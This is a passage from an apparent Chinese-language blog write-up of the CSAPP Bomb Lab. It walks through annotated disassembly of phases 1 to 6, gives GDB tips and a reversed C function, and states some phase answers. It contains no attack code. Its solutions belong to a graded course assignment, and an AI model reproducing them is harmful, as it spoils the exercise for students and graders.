指向的内存位置 M[%rsp] 开始的两个单位。 x/s $rsp # 把栈指针指向的内存位置 M[%rsp] 当作 C 风格字符串来查看。 x/b $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 1 字节。 x/h $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 2 字节（半字）。 x/w $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 4 字节（字）。 x/g $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 8 字节（双字）。 info registers # 打印所有寄存器的值 info breakpoints # 打印所有断点的信息 delete breakpoints 1 # 删除第一个断点，可以简写为 d 1 phase1: # 比较简单，就是对比一下字符串，熟悉一下。\n00000000000015ab \u0026lt;phase_1\u0026gt;: 15ab:\tf3 0f 1e fa endbr64 15af:\t48 83 ec 08 sub $0x8,%rsp 15b3:\t48 8d 35 f2 1a 00 00 lea 0x1af2(%rip),%rsi # 这很简单，你只要查看rsi里面存放了什么东西就可以 15ba:\te8 f3 05 00 00 call 1bb2 \u0026lt;strings_not_equal\u0026gt; 15bf:\t85 c0 test %eax,%eax 15c1:\t75 05 jne 15c8 \u0026lt;phase_1+0x1d\u0026gt; 15c3:\t48 83 c4 08 add $0x8,%rsp 15c7:\tc3 ret 15c8:\te8 f9 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 15cd:\teb f4 jmp 15c3 \u0026lt;phase_1+0x18\u0026gt; phase2: # 先看phase_2的代码，这是典型的循环\n00000000000015cf \u0026lt;phase_2\u0026gt;: 15cf:\tf3 0f 1e fa endbr64 # 用来防止ROP攻击 15d3:\t55 push %rbp # 两个局部变量 15d4:\t53 push %rbx 15d5:\t48 83 ec 28 sub $0x28,%rsp # 分配了40个字节 15d9:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值，用来防止恶意修改 15e0:\t00 00 15e2:\t48 89 44 24 18 mov %rax,0x18(%rsp) # 把金丝雀值保存起来，这样被修改的时候就会提醒 15e7:\t31 c0 xor %eax,%eax # ??? 15e9:\t48 89 e6 mov %rsp,%rsi # 栈指针的值赋给了rsi 15ec:\te8 2d 07 00 00 call 1d1e \u0026lt;read_six_numbers\u0026gt; # 调用一个读取6个数字的函数 15f1:\t83 3c 24 01 cmpl $0x1,(%rsp) # 第一个数字为1 15f5:\t75 0a jne 1601 \u0026lt;phase_2+0x32\u0026gt; 15f7:\t48 89 e3 mov %rsp,%rbx # rbx为当前栈顶的地址 15fa:\t48 8d 6c 24 14 lea 0x14(%rsp),%rbp # rbp存放rsp + 20bytes的地址 0 4 8 12 16 20刚好六个数字用栈传递 15ff:\teb 10 jmp 1611 \u0026lt;phase_2+0x42\u0026gt; # 无条件跳转1611 1601:\te8 c0 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1606:\teb ef jmp 15f7 \u0026lt;phase_2+0x28\u0026gt; 1608:\t48 83 c3 04 add $0x4,%rbx # 相等的情况下考察第二个参数的情况 160c:\t48 39 eb cmp %rbp,%rbx # 循环终止条件 160f:\t74 10 je 1621 \u0026lt;phase_2+0x52\u0026gt; 1611:\t8b 03 mov (%rbx),%eax # 取第一个参数到eax 1613:\t01 c0 add %eax,%eax # eax = eax * 2 1615:\t39 43 04 cmp %eax,0x4(%rbx) # 和第二个参数作比较 1618:\t74 ee je 1608 \u0026lt;phase_2+0x39\u0026gt; # 相等继续，不相等爆炸 161a:\te8 a7 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 161f:\teb e7 jmp 1608 \u0026lt;phase_2+0x39\u0026gt; 1621:\t48 8b 44 24 18 mov 0x18(%rsp),%rax 1626:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 162d:\t00 00 162f:\t75 07 jne 1638 \u0026lt;phase_2+0x69\u0026gt; 1631:\t48 83 c4 28 add $0x28,%rsp 1635:\t5b pop %rbx 1636:\t5d pop %rbp 1637:\tc3 ret 1638:\te8 13 fc ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 再看它调用的读取六个数字的function\n0000000000001d1e \u0026lt;read_six_numbers\u0026gt;: 1d1e:\tf3 0f 1e fa endbr64 1d22:\t48 83 ec 08 sub $0x8,%rsp # 再分配8个字节 1d26:\t48 89 f2 mov %rsi,%rdx # 记住rsi是上一层栈顶的位置放到rdx这里 1d29:\t48 8d 4e 04 lea 0x4(%rsi),%rcx # 把这些参数用寄存器向下一个sscanf传递 1d2d:\t48 8d 46 14 lea 0x14(%rsi),%rax 1d31:\t50 push %rax 1d32:\t48 8d 46 10 lea 0x10(%rsi),%rax 1d36:\t50 push %rax 1d37:\t4c 8d 4e 0c lea 0xc(%rsi),%r9 1d3b:\t4c 8d 46 08 lea 0x8(%rsi),%r8 1d3f:\t48 8d 35 b6 15 00 00 lea 0x15b6(%rip),%rsi # 32fc \u0026lt;array.0+0x1fc\u0026gt; 这里应该是我们输入的数字 int sscanf(const char *str, const char *format, ...); 1d46:\tb8 00 00 00 00 mov $0x0,%eax # 分析一下sscanf的参数 rdi:就是我们输入的string,rsi是格式,就是\u0026#34;%d %d %d %d %d %d\u0026#34;,rdx是第一个数,rcx是第二个数,r8是第三个数,r9是第四个数,现在寄存器不够用，用栈传递参数，并且是从右向左的这就很好理解了 1d4b:\te8 b0 f5 ff ff call 1300 \u0026lt;__isoc99_sscanf@plt\u0026gt; #这里要调用sscanf函数 1d50:\t48 83 c4 10 add $0x10,%rsp 1d54:\t83 f8 05 cmp $0x5,%eax 1d57:\t7e 05 jle 1d5e \u0026lt;read_six_numbers+0x40\u0026gt; 1d59:\t48 83 c4 08 add $0x8,%rsp 1d5d:\tc3 ret 1d5e:\te8 63 ff ff ff call 1cc6 \u0026lt;explode_bomb\u0026gt; phase3: # 本层就是关于一些条件的判断(大概就是switch语句)（理解提升了，之前自己肯定没办法做出来的）：\n000000000000163d \u0026lt;phase_3\u0026gt;: # 提醒是关于switch语句,不是哥们是否有些太长了 163d:\tf3 0f 1e fa endbr64 # 我们按照线性的方法先走一遍程序 1641:\t48 83 ec 28 sub $0x28,%rsp # 分配了40个字节 1645:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 164c:\t00 00 164e:\t48 89 44 24 18 mov %rax,0x18(%rsp) # 金丝雀值放在24个字节开始的位置 1653:\t31 c0 xor %eax,%eax # 检查 1655:\t48 8d 4c 24 0f lea 0xf(%rsp),%rcx # rcx = rsp + 15 占一个字节 第四个参数 a2 165a:\t48 8d 54 24 10 lea 0x10(%rsp),%rdx # rdx = rsp + 16 占四个字节 第三个参数 a1 165f:\t4c 8d 44 24 14 lea 0x14(%rsp),%r8 # r8 = rsp + 20 占四个字节 第五个参数 a3 1664:\t48 8d 35 5e 1a 00 00 lea 0x1a5e(%rip),%rsi # 30c9 \u0026lt;_IO_stdin_used+0xc9\u0026gt; 这里的rsi是\u0026#34;%d %c %d\u0026#34; 166b:\te8 90 fc ff ff call 1300 \u0026lt;__isoc99_sscanf@plt\u0026gt; 1670:\t83 f8 02 cmp $0x2,%eax # sscanf的返回值是读取的参数的个数,若参数小于2错 1673:\t7e 20 jle 1695 \u0026lt;phase_3+0x58\u0026gt; 1675:\t83 7c 24 10 07 cmpl $0x7,0x10(%rsp) # a1大于7就爆炸 167a:\t0f 87 0a 01 00 00 ja 178a \u0026lt;phase_3+0x14d\u0026gt; 1680:\t8b 44 24 10 mov 0x10(%rsp),%eax # rax = a1(我们先假设a1 = 6) 1684:\t48 8d 15 55 1a 00 00 lea 0x1a55(%rip),%rdx # 30e0 \u0026lt;_IO_stdin_used+0xe0\u0026gt; rdx中加载了一个-68? 168b:\t48 63 04 82 movslq (%rdx,%rax,4),%rax # rax = 4 * rax + rdx 168f:\t48 01 d0 add %rdx,%rax # rax = rax + rdx(可能是跳表位置的计算？) 1692:\t3e ff e0 notrack jmp *%rax # 其作用是 跳转到 RAX 寄存器存储的地址，并且不记录 return address 到 影子调用栈（Shadow Stack 1695:\te8 2c 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 169a:\teb d9 jmp 1675 \u0026lt;phase_3+0x38\u0026gt; 169c:\tb8 77 00 00 00 mov $0x77,%eax 16a1:\t81 7c 24 14 a8 01 00 cmpl $0x1a8,0x14(%rsp) 16a8:\t00 16a9:\t0f 84 e5 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 16af:\te8 12 06 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 16b4:\tb8 77 00 00 00 mov $0x77,%eax 16b9:\te9 d6 00 00 00 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 16be:\tb8 70 00 00 00 mov $0x70,%eax 16c3:\t81 7c 24 14 bc 00 00 cmpl $0xbc,0x14(%rsp) 16ca:\t00 16cb:\t0f 84 c3 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 16d1:\te8 f0 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 16d6:\tb8 70 00 00 00 mov $0x70,%eax 16db:\te9 b4 00 00 00 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 16e0:\tb8 78 00 00 00 mov $0x78,%eax 16e5:\t81 7c 24 14 40 03 00 cmpl $0x340,0x14(%rsp) 16ec:\t00 16ed:\t0f 84 a1 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 16f3:\te8 ce 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 16f8:\tb8 78 00 00 00 mov $0x78,%eax 16fd:\te9 92 00 00 00 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 1702:\tb8 6e 00 00 00 mov $0x6e,%eax 1707:\t83 7c 24 14 39 cmpl $0x39,0x14(%rsp) 170c:\t0f 84 82 00 00 00 je 1794 \u0026lt;phase_3+0x157\u0026gt; 1712:\te8 af 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1717:\tb8 6e 00 00 00 mov $0x6e,%eax 171c:\teb 76 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 171e:\tb8 74 00 00 00 mov $0x74,%eax 1723:\t81 7c 24 14 c4 03 00 cmpl $0x3c4,0x14(%rsp) 172a:\t00 172b:\t74 67 je 1794 \u0026lt;phase_3+0x157\u0026gt; 172d:\te8 94 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1732:\tb8 74 00 00 00 mov $0x74,%eax 1737:\teb 5b jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 1739:\tb8 67 00 00 00 mov $0x67,%eax 173e:\t81 7c 24 14 95 03 00 cmpl $0x395,0x14(%rsp) 1745:\t00 1746:\t74 4c je 1794 \u0026lt;phase_3+0x157\u0026gt; 1748:\te8 79 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 174d:\tb8 67 00 00 00 mov $0x67,%eax 1752:\teb 40 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 1754:\tb8 71 00 00 00 mov $0x71,%eax # a1小于7会跳转到这里 eax = 71,这里已经重新赋值了 1759:\t81 7c 24 14 f2 01 00 cmpl $0x1f2,0x14(%rsp) # 看第三个参数的值,不等于498就爆炸 1760:\t00 1761:\t74 31 je 1794 \u0026lt;phase_3+0x157\u0026gt; 1763:\te8 5e 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1768:\tb8 71 00 00 00 mov $0x71,%eax 176d:\teb 25 jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 176f:\tb8 6e 00 00 00 mov $0x6e,%eax 1774:\t81 7c 24 14 83 03 00 cmpl $0x383,0x14(%rsp) 177b:\t00 177c:\t74 16 je 1794 \u0026lt;phase_3+0x157\u0026gt; 177e:\te8 43 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1783:\tb8 6e 00 00 00 mov $0x6e,%eax 1788:\teb 0a jmp 1794 \u0026lt;phase_3+0x157\u0026gt; 178a:\te8 37 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 178f:\tb8 6e 00 00 00 mov $0x6e,%eax 1794:\t38 44 24 0f cmp %al,0xf(%rsp) # 等于498的情况下来到这里,看输入的字符和al的值是否相等，查ASCII这里应该是G 1798:\t75 15 jne 17af \u0026lt;phase_3+0x172\u0026gt; # 不相等爆炸 179a:\t48 8b 44 24 18 mov 0x18(%rsp),%rax # 第二个是q，OK结束，完全不知道具体的switch但是能做 179f:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 17a6:\t00 00 17a8:\t75 0c jne 17b6 \u0026lt;phase_3+0x179\u0026gt; 17aa:\t48 83 c4 28 add $0x28,%rsp 17ae:\tc3 ret 17af:\te8 12 05 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 17b4:\teb e4 jmp 179a \u0026lt;phase_3+0x15d\u0026gt; 17b6:\te8 95 fa ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; phase4: # 关于递归函数？\n这是phase4中调用的方法：\n00000000000017bb \u0026lt;func4\u0026gt;: # 开始的参数 edi:a1(x1) esi:0(x2) edx:14(x3) 设返回值为x 17bb:\tf3 0f 1e fa endbr64 # 这应该是一个递归函数 17bf:\t53 push %rbx # 临时变量 (temp) 17c0:\t89 d0 mov %edx,%eax # x = x3 17c2:\t29 f0 sub %esi,%eax # x -= x2 17c4:\t89 c3 mov %eax,%ebx # temp = x 17c6:\tc1 eb 1f shr $0x1f,%ebx # 这里相当于是取了temp的符号 17c9:\t01 c3 add %eax,%ebx # temp += x 17cb:\td1 fb sar %ebx # temp /= 2(这里就是默认省略了1,愚蠢) 17cd:\t01 f3 add %esi,%ebx # temp += x2 17cf:\t39 fb cmp %edi,%ebx # 比较和x1相不相等 17d1:\t7f 06 jg 17d9 \u0026lt;func4+0x1e\u0026gt; # 如果大于\u0026gt; 17d3:\t7c 10 jl 17e5 \u0026lt;func4+0x2a\u0026gt; # 如果小于\u0026lt; 17d5:\t89 d8 mov %ebx,%eax # x = temp 17d7:\t5b pop %rbx 17d8:\tc3 ret 17d9:\t8d 53 ff lea -0x1(%rbx),%edx # 大于x1的情况 x3 = temp - 1 17dc:\te8 da ff ff ff call 17bb \u0026lt;func4\u0026gt; # 递归调用 17e1:\t01 c3 add %eax,%ebx # temp += x 17e3:\teb f0 jmp 17d5 \u0026lt;func4+0x1a\u0026gt; # 返回 17e5:\t8d 73 01 lea 0x1(%rbx),%esi # 小于的情况 x1 = temp + 1 17e8:\te8 ce ff ff ff call 17bb \u0026lt;func4\u0026gt; # 递归调用 17ed:\t01 c3 add %eax,%ebx # temp += x 17ef:\teb e4 jmp 17d5 \u0026lt;func4+0x1a\u0026gt; # 返回 00000000000017f1 \u0026lt;phase_4\u0026gt;: 17f1:\tf3 0f 1e fa endbr64 17f5:\t48 83 ec 18 sub $0x18,%rsp # 分配24个字节 17f9:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 1800:\t00 00 1802:\t48 89 44 24 08 mov %rax,0x8(%rsp) # 把金丝雀值放到了stack上面 1807:\t31 c0 xor %eax,%eax 1809:\t48 8d 4c 24 04 lea 0x4(%rsp),%rcx # 栈上参数传递 第四个参数 4字节 a2 180e:\t48 89 e2 mov %rsp,%rdx # 第三个参数 4字节 a1 1811:\t48 8d 35 f0 1a 00 00 lea 0x1af0(%rip),%rsi # 参数格式：\u0026#34;%d %d\u0026#34; 1818:\te8 e3 fa ff ff call 1300 \u0026lt;__isoc99_sscanf@plt\u0026gt; 181d:\t83 f8 02 cmp $0x2,%eax # 是否读取正确 1820:\t75 06 jne 1828 \u0026lt;phase_4+0x37\u0026gt; # 不正确爆炸 1822:\t83 3c 24 0e cmpl $0xe,(%rsp) # a1 \u0026lt;= 14不然爆炸 1826:\t76 05 jbe 182d \u0026lt;phase_4+0x3c\u0026gt; 1828:\te8 99 04 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; # a1 \u0026lt;= 14跳到这里 这里大概是为调用f4做准备 182d:\tba 0e 00 00 00 mov $0xe,%edx # 第三个参数是14 1832:\tbe 00 00 00 00 mov $0x0,%esi # 第二个参数是0 1837:\t8b 3c 24 mov (%rsp),%edi # 第一个参数是a1 183a:\te8 7c ff ff ff call 17bb \u0026lt;func4\u0026gt; # 调用了f4,那就是说我们根据f4的逻辑来设置a1的输入 183f:\t83 f8 12 cmp $0x12,%eax # 将返回值和18作比较 1842:\t75 07 jne 184b \u0026lt;phase_4+0x5a\u0026gt; # 不相同就爆炸 1844:\t83 7c 24 04 12 cmpl $0x12,0x4(%rsp) # 把a2和18作比较 1849:\t74 05 je 1850 \u0026lt;phase_4+0x5f\u0026gt; # 不相同爆炸，相同结束 184b:\te8 76 04 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1850:\t48 8b 44 24 08 mov 0x8(%rsp),%rax 1855:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 185c:\t00 00 185e:\t75 05 jne 1865 \u0026lt;phase_4+0x74\u0026gt; 1860:\t48 83 c4 18 add $0x18,%rsp 1864:\tc3 ret 1865:\te8 e6 f9 ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 我对于fun4做了逆向：\n#include\u0026lt;stdio.h\u0026gt; //手动逆向代码fun4 int fun4(int num1, int num2, int num3){ int x = num3 - num2; int temp = x; if(temp \u0026lt; 0){ ++temp; } temp /= 2; temp += num2; if(temp \u0026gt; num1){ //要注意调用完成之后获取的rax的使用（因为这里只调用但没有获取值浪费了很长时间） return fun4(num1, num2, temp - 1) + temp; }else if(temp \u0026lt; num1){ return fun4(num1, temp + 1, num3) + temp; }else{ return temp; } } //就是给一个输入，使得返回值为0x12 int main(){ int num1; //scanf(\u0026#34;%d\u0026#34;, \u0026amp;num1); //当输入11时，答案为18,也就是answer int value = fun4(11, 0, 0xe); printf(\u0026#34;%d\\n\u0026#34;, value); } phase5: # hint：我的输入和array之间的转换关系,也不是很难\nphase5:\n000000000000186a \u0026lt;phase_5\u0026gt;: 186a:\tf3 0f 1e fa endbr64 186e:\t53 push %rbx # 一个局部变量 186f:\t48 83 ec 10 sub $0x10,%rsp # 开了16字节空间 1873:\t48 89 fb mov %rdi,%rbx # 局部变量存放rdi,rdi就是字符串的首地址 1876:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 187d:\t00 00 187f:\t48 89 44 24 08 mov %rax,0x8(%rsp) # 放在栈上，也就是说有8字节的可用空间 1884:\t31 c0 xor %eax,%eax # 校验 1886:\te8 06 03 00 00 call 1b91 \u0026lt;string_length\u0026gt; # 调用string_length,这里应该是rdi作为参数读入了一个string 188b:\t83 f8 06 cmp $0x6,%eax # 返回值和6比较，不相等爆炸，输入的字符串的长度要是6才可以 188e:\t75 55 jne 18e5 \u0026lt;phase_5+0x7b\u0026gt; 1890:\tb8 00 00 00 00 mov $0x0,%eax # eax = 0？下面大概是为strings_not_equal做准备，不相等爆炸 1895:\t48 8d 0d 64 18 00 00 lea 0x1864(%rip),%rcx # maduiersnfotvbylWow! You\u0026#39;ve defused the secret stage! 189c:\t0f b6 14 03 movzbl (%rbx,%rax,1),%edx # 就是我输入数字,从上面这个stirng中找值，构造一个rdi 18a0:\t83 e2 0f and $0xf,%edx 18a3:\t0f b6 14 11 movzbl (%rcx,%rdx,1),%edx 18a7:\t88 54 04 01 mov %dl,0x1(%rsp,%rax,1) 18ab:\t48 83 c0 01 add $0x1,%rax 18af:\t48 83 f8 06 cmp $0x6,%rax # rax就是一个index作为循环控制量 18b3:\t75 e7 jne 189c \u0026lt;phase_5+0x32\u0026gt; 18b5:\tc6 44 24 07 00 movb $0x0,0x7(%rsp) # 最后为我们构造的字符串添加了一个结束符号 18ba:\t48 8d 7c 24 01 lea 0x1(%rsp),%rdi 18bf:\t48 8d 35 0c 18 00 00 lea 0x180c(%rip),%rsi # *rsi = \u0026#34;bruins\u0026#34; 通过上面的操作，*rdi要等于\u0026#34;bruins\u0026#34;怎么操作？ 18c6:\te8 e7 02 00 00 call 1bb2 \u0026lt;strings_not_equal\u0026gt; # 意思就是两个字符串不相同就爆炸 18cb:\t85 c0 test %eax,%eax 18cd:\t75 1d jne 18ec \u0026lt;phase_5+0x82\u0026gt; 18cf:\t48 8b 44 24 08 mov 0x8(%rsp),%rax 18d4:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 18db:\t00 00 18dd:\t75 14 jne 18f3 \u0026lt;phase_5+0x89\u0026gt; 18df:\t48 83 c4 10 add $0x10,%rsp 18e3:\t5b pop %rbx 18e4:\tc3 ret 18e5:\te8 dc 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 18ea:\teb a4 jmp 1890 \u0026lt;phase_5+0x26\u0026gt; 18ec:\te8 d5 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 18f1:\teb dc jmp 18cf \u0026lt;phase_5+0x65\u0026gt; 18f3:\te8 58 f9 ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 我们不必细究它调用的两个方法的具体实现了，就和函数名字一样。我输入的string是\u0026quot;M63487\u0026quot;,因为实际上会和0xf作与运算，所以每个字符都是可选的。\nphase6: # [!CAUTION]\n应该是最难的一层了，hint：链表，那就要用到结构体了吧。（做完：其实还好，只要你理解它在干什么。）\n00000000000018f8 \u0026lt;phase_6\u0026gt;: 18f8:\tf3 0f 1e fa endbr64 # 关于链表操作,最逆天的一层，孩子们 18fc:\t41 57 push %r15 # 6个局部变量,都是拿来干嘛的？？？ 18fe:\t41 56 push %r14 1900:\t41 55 push %r13 1902:\t41 54 push %r12 1904:\t55 push %rbp 1905:\t53 push %rbx 1906:\t48 83 ec 78 sub $0x78,%rsp # 分配120个bytes 190a:\t64 48 8b 04 25 28 00 mov %fs:0x28,%rax # 金丝雀值 1911:\t00 00 1913:\t48 89 44 24 68 mov %rax,0x68(%rsp) # 放到栈上，有104个bytes是可用的 1918:\t31 c0 xor %eax,%eax # 检测金丝雀值 191a:\t4c 8d 74 24 10 lea 0x10(%rsp),%r14 # 此时r14存放的是rsp + 16的地址 191f:\t4c 89 74 24 08 mov %r14,0x8(%rsp) # 把rsp + 16的地址放在rsp + 8的位置 1924:\t4c 89 f6 mov %r14,%rsi # 把rsp + 16的地址作为第二个参数 1927:\te8 f2 03 00 00 call 1d1e \u0026lt;read_six_numbers\u0026gt; # 读取了六个数字 rsp + 16 20 24 28 32 36放在这六个位置 192c:\t4d 89 f4 mov %r14,%r12 # r12中放 rsp + 16的地址 192f:\t41 bf 01 00 00 00 mov $0x1,%r15d # r15 = 1 1935:\t4d 89 f5 mov %r14,%r13 # r13中放 rsp + 16的地址 1938:\te9 c6 00 00 00 jmp 1a03 \u0026lt;phase_6+0x10b\u0026gt; # 跳转 193d:\te8 84 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1942:\te9 ce 00 00 00 jmp 1a15 \u0026lt;phase_6+0x11d\u0026gt; 1947:\t48 83 c3 01 add $0x1,%rbx # rbx刚刚为1,这里就是作为一个循环控制变量 ++index（第二层循环） 194b:\t83 fb 05 cmp $0x5,%ebx # 和5比较 194e:\t0f 8f a7 00 00 00 jg 19fb \u0026lt;phase_6+0x103\u0026gt; # 如果大于5跳转 1954:\t41 8b 44 9d 00 mov 0x0(%r13,%rbx,4),%eax # r15小于5的情况：eax中存放 *(rsp + 4 * index) 1959:\t39 45 00 cmp %eax,0x0(%rbp) # 和首元素做比较 195c:\t75 e9 jne 1947 \u0026lt;phase_6+0x4f\u0026gt; # 不相等跳转，相等直接爆炸 195e:\te8 63 03 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1963:\teb e2 jmp 1947 \u0026lt;phase_6+0x4f\u0026gt; 1965:\t48 8b 54 24 08 mov 0x8(%rsp),%rdx # 至此输入检查已经结束,rdx = rsp + 16（不要想错了，这里存放的值是rsp + 16） 196a:\t48 83 c2 18 add $0x18,%rdx # rdx = rsp + 36 196e:\tb9 07 00 00 00 mov $0x7,%ecx # rcx = 7 1973:\t89 c8 mov %ecx,%eax # eax = 7 1975:\t41 2b 04 24 sub (%r12),%eax # eax为7减去数组中的元素 1979:\t41 89 04 24 mov %eax,(%r12) # 再把这个减了之后的值加载回去 197d:\t49 83 c4 04 add $0x4,%r12 # 下一个数字 1981:\t4c 39 e2 cmp %r12,%rdx # 检查终止条件 1984:\t75 ed jne 1973 \u0026lt;phase_6+0x7b\u0026gt; 1986:\tbe 00 00 00 00 mov $0x0,%esi # 现在输入的每个数字都成了它对于7的补 rsi = 0，假设输入2 6 1 5 4 3 此时的值就是 5 1 6 2 3 4 rsi = 0 198b:\t8b 4c b4 10 mov 0x10(%rsp,%rsi,4),%ecx # rcx = *(rsp + 16 + 4 * rsi) 为数组的第一个值 198f:\tb8 01 00 00 00 mov $0x1,%eax # eax = 1 1994:\t48 8d 15 75 38 00 00 lea 0x3875(%rip),%rdx # gdb查看内存这里就是把一个链表的node1的地址加载给了rdx,尝试用gdb去查看链表的具体结构，大概就是结构体{value + key + nextAddress} 199b:\t83 f9 01 cmp $0x1,%ecx # rcx处的值和1比较 199e:\t7e 0b jle 19ab \u0026lt;phase_6+0xb3\u0026gt; # 小于等于1就跳转 19a0:\t48 8b 52 08 mov 0x8(%rdx),%rdx # rdx此时应该为节点指向的节点的地址 19a4:\t83 c0 01 add $0x1,%eax # ++eax 19a7:\t39 c8 cmp %ecx,%eax # rcx和 eax比较 19a9:\t75 f5 jne 19a0 \u0026lt;phase_6+0xa8\u0026gt; # 不相等跳转，直到数组的第一个值和链表第一个节点的值相等就跳转 19ab:\t48 89 54 f4 30 mov %rdx,0x30(%rsp,%rsi,8) # *(rsp + 48 + 8 * rsi) = rdx 把这个地址存放在stack上面 19b0:\t48 83 c6 01 add $0x1,%rsi # ++rsi 19b4:\t48 83 fe 06 cmp $0x6,%rsi # 循环终止条件 19b8:\t75 d1 jne 198b \u0026lt;phase_6+0x93\u0026gt; # 不相等继续 19ba:\t48 8b 5c 24 30 mov 0x30(%rsp),%rbx # 现在我们已经把按照输入数字顺序节点指向的地址放在了栈上（人话？）rbx为第一个地址 19bf:\t48 8b 44 24 38 mov 0x38(%rsp),%rax # rax是第二个地址 19c4:\t48 89 43 08 mov %rax,0x8(%rbx) # 以下就是把链表按照我们输入的顺序连接在一起，看不明白就画图 19c8:\t48 8b 54 24 40 mov 0x40(%rsp),%rdx 19cd:\t48 89 50 08 mov %rdx,0x8(%rax) 19d1:\t48 8b 44 24 48 mov 0x48(%rsp),%rax 19d6:\t48 89 42 08 mov %rax,0x8(%rdx) 19da:\t48 8b 54 24 50 mov 0x50(%rsp),%rdx 19df:\t48 89 50 08 mov %rdx,0x8(%rax) 19e3:\t48 8b 44 24 58 mov 0x58(%rsp),%rax 19e8:\t48 89 42 08 mov %rax,0x8(%rdx) 19ec:\t48 c7 40 08 00 00 00 movq $0x0,0x8(%rax) # 0就是null节点 19f3:\t00 19f4:\tbd 05 00 00 00 mov $0x5,%ebp # rbp = 5 19f9:\teb 35 jmp 1a30 \u0026lt;phase_6+0x138\u0026gt; # 连接完了之后跳转 19fb:\t49 83 c7 01 add $0x1,%r15 # 这是应该是第一层循环 19ff:\t49 83 c6 04 add $0x4,%r14 # 下一个 1a03:\t4c 89 f5 mov %r14,%rbp # 在成功读取六个数字之后跳转到这里，rbp存放rsp + 16地址（第一次） 1a06:\t41 8b 06 mov (%r14),%eax # 读取的第一个数字 1a09:\t83 e8 01 sub $0x1,%eax # 读取的数字-1 1a0c:\t83 f8 05 cmp $0x5,%eax # 和5作比较 1a0f:\t0f 87 28 ff ff ff ja 193d \u0026lt;phase_6+0x45\u0026gt; # 大于5爆炸（这意味着不能输入大于6的数字） 1a15:\t41 83 ff 05 cmp $0x5,%r15d # r15刚刚赋值为1,现在和5作比较 1a19:\t0f 8f 46 ff ff ff jg 1965 \u0026lt;phase_6+0x6d\u0026gt; # 大于5跳转（到这里为止，经过了一个类似于冒泡排序的比较，这意味着我们输入的数字不能有重复的也不能大于6） 1a1f:\t4c 89 fb mov %r15,%rbx # rbx = 1 1a22:\te9 2d ff ff ff jmp 1954 \u0026lt;phase_6+0x5c\u0026gt; 1a27:\t48 8b 5b 08 mov 0x8(%rbx),%rbx 1a2b:\t83 ed 01 sub $0x1,%ebp 1a2e:\t74 11 je 1a41 \u0026lt;phase_6+0x149\u0026gt;\t1a30:\t48 8b 43 08 mov 0x8(%rbx),%rax # 连接之后在这里 1a34:\t8b 00 mov (%rax),%eax 1a36:\t39 03 cmp %eax,(%rbx) 1a38:\t7d ed jge 1a27 \u0026lt;phase_6+0x12f\u0026gt;\t# 也就是说链表必须是递增还是递减的一个顺序？ 1a3a:\te8 87 02 00 00 call 1cc6 \u0026lt;explode_bomb\u0026gt; 1a3f:\teb e6 jmp 1a27 \u0026lt;phase_6+0x12f\u0026gt; 1a41:\t48 8b 44 24 68 mov 0x68(%rsp),%rax 1a46:\t64 48 2b 04 25 28 00 sub %fs:0x28,%rax 1a4d:\t00 00 1a4f:\t75 0f jne 1a60 \u0026lt;phase_6+0x168\u0026gt; 1a51:\t48 83 c4 78 add $0x78,%rsp 1a55:\t5b pop %rbx 1a56:\t5d pop %rbp 1a57:\t41 5c pop %r12 1a59:\t41 5d pop %r13 1a5b:\t41 5e pop %r14 1a5d:\t41 5f pop %r15 1a5f:\tc3 ret 1a60:\te8 eb f7 ff ff call 1250 \u0026lt;__stack_chk_fail@plt\u0026gt; 不容易，终于写完了。\n","date":"9 March 2025","externalUrl":null,"permalink":"/csapp/csappbomblab/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e本期封面是动漫《轻音少女》第一季时唯一律澪之间发生小矛盾的故事，此时，她们三个正在远远的看着mio\u0026hellip;\u0026hellip;\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch1 class=\"relative 